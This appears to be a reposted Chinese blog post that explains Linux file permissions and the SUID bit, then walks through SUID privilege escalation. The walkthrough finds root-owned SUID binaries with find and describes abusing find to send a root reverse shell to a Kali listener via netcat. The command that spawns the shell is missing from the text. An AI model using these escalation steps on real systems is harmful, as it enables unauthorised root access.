linux下SUID提权以及文件权限问题

要讲到suid提权的话,首先应该就要非常清楚地知道linux中文件权限的相关问题。
在linux系统上有着非常严格的权限控制,如果想对某个文件执行某种操作的话,必须具有对应的权限方可执行成功。
linux下的文件的权限类型一般包括读、写、执行。对应的字母为r、w、x。
linux下权限有三种分组分别为拥有者、群组、其他组。每个文件都可以针对这三个组,设置不同的rwx(读写执行)权限。
在Linux中如何去理解一个文件的所有权限详情:有两种方式
第一种(常见):用十位二进制表示法,(三个组每个使用二进制位,再加一个最高位共十位),可以化简为三位八进制形式。
第二种:十二位二进制表示法(十二个二进制位),可简化为四位八进制形式)

先来看看十位权限表示:

-rw------- (600) 只有拥有者有读写权限。
-rw-r--r-- (644) 只有拥有者有读写权限;而属组用户和其他用户只有读权限。
-rwx------ (700) 只有拥有者有读、写、执行权限。
-rwxr-xr-x (755) 拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。
-rwx--x--x (711) 拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。
-rw-rw-rw- (666) 所有用户都有文件读、写权限。
-rwxrwxrwx (777) 所有用户都有读、写、执行权限。
分析:最前面的一个‘-’就是所谓的最高位。有时候这一位上显示的是字母‘d’,表示的是目录文件,在这之后的每三个表示一个组,分别为user(用户组)、(群组)、(其他用户组);
三个位分别是r(read读)、w(write写)、x(xexe执行);
后面中对应的化简应该懂吧,就是简单二进制按权展开,没三位对应的权限位上有相应的权限就是1,反之为0。
就拿第一个来说吧对应的二进制为:-110 000 000 按权展开就是600了;

这就可以用来解释为何4表示读、2表示写、1表示执行了。
r-- = 100
-w- = 010
--x = 001
--- = 000
实际上,我们可以将所有的权限用二进制形式表现出来,并进一步转变成八进制数字:
rwx = 111 = 7
rw- = 110 = 6
r-x = 101 = 5
r-- = 100 = 4
-wx = 011 = 3
-w- = 010 = 2
--x = 001 = 1
--- = 000 = 0
那么最高权限为7;代表可读可写可执行;
补充:关于第一位最高位的解释:第一位代表的是文件的类型,类型可以是下面几个中的一个:

d代表的是目录(directroy)
-代表的是文件(regular file)
s代表的是套字文件(socket)
p代表的管道文件(pipe)或命名管道文件(named pipe)
l代表的是符号链接文件(symbolic link)
b代表的是该文件是面向块的设备文件(block-oriented device file)
c代表的是该文件是面向字符的设备文件(charcter-oriented device file)
好的接下来就是suid的相关解释

suid权限(linux附加权限)

linux除了设置正常的读写操作权限外,还有关于一类设置也是涉及到权限,叫做linux附加权限,包括set位权限(suid、sgid)和粘滞位权限(sticky)

set位权限:

suid/sgid是为了使“没有取得权限用户要完成一项必须要有特权才可以执行的任务”而产生的。就是说有一些命令必须要有root权限才能执行,但又要完成这个命令,这时就可以为这个命令加上suid权限。
一般用于给可执行的程序或脚本文件进行设置,执行文件被设置了suid、sgid权限后任何用户执行该文件时,将获获得该文件属主、属组账号对应的身份。
参考链接:https://www.cnblogs.com/huchong/p/9075201.html#_label2

set位权限表示形式
如果一个文件被设置了suid或sgid位,会分别表现在所有者或同组用户的权限的可执行位上;如果文件设置了suid还设置了x(执行位),则相应的执行位表示为s。但是如果没有设置x位,它将表示为S。
for example:

1、-rwsr-xr-x 表示设置了suid,且拥有者有可执行权限
2、-rwSr--r-- 表示suid被设置,但拥有者没有可执行权限
3、-rwxr-sr-x 表示sgid被设置,且群组用户有可执行权限
4、-rw-r-Sr-- 表示sgid被设置,但群组用户没有可执行权限

设置suid方式:

set位权限可以通过chomd命令设置,给文件加上suid和sgid的命令如下:
设置suid权限位:chmod u+s filename
去掉suid位权限:chmod u-s filename
sgid是一样的就是将u改为g即可;

接下来就是讲解linux提权-----利用可执行文件suid

理解了上面的介绍,这个就比较简单理解了,首先利用这个来提权,你要先找到设置了suid权限的文件。
已知的可以用来提权的linux可执行文件有:

首先你要发现具有suid权限的文件,以下命令可以找出(准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出他们,然后将所有错误重定向到/dev/null,从而就列出该用户具有访问权限的那些二进制文件。):
find / -user root -perm -4000 -print 2>/dev/null
(-user参数表示为root的,-perm表示匹配具有suid权限的文件进行输出)
find / -perm -u=s -type f 2>/dev/null
(表示匹配,-u(user)具有s位权限的就是suid权限-type文件格式匹配为f(file匹配普通文件))
find / -user root -perm -4000 -exec ls -ldb { } ;
一般我们都会利用常见的find进行提权,因为find是有suid权限运行,所有通过find执行的命令都会以root权限运行
首先touch sky
然后:

然后在kali中进行接收这样就将shell反弹回kali上了;不出意外的话得到的shell就是root权限
在kali中接收:netcat 192.168.233.144 2222
然后shell就反弹过来了。现在直接是root权限了。
其他的提权文件在这里我就不讲了:参考链接
https://www.anquanke.com/post/id/86979

发布了23 篇原创文章 · 获赞 21 · 访问量 5178

猜你喜欢

转载自blog.csdn.net/LTtiandd/article/details/103239340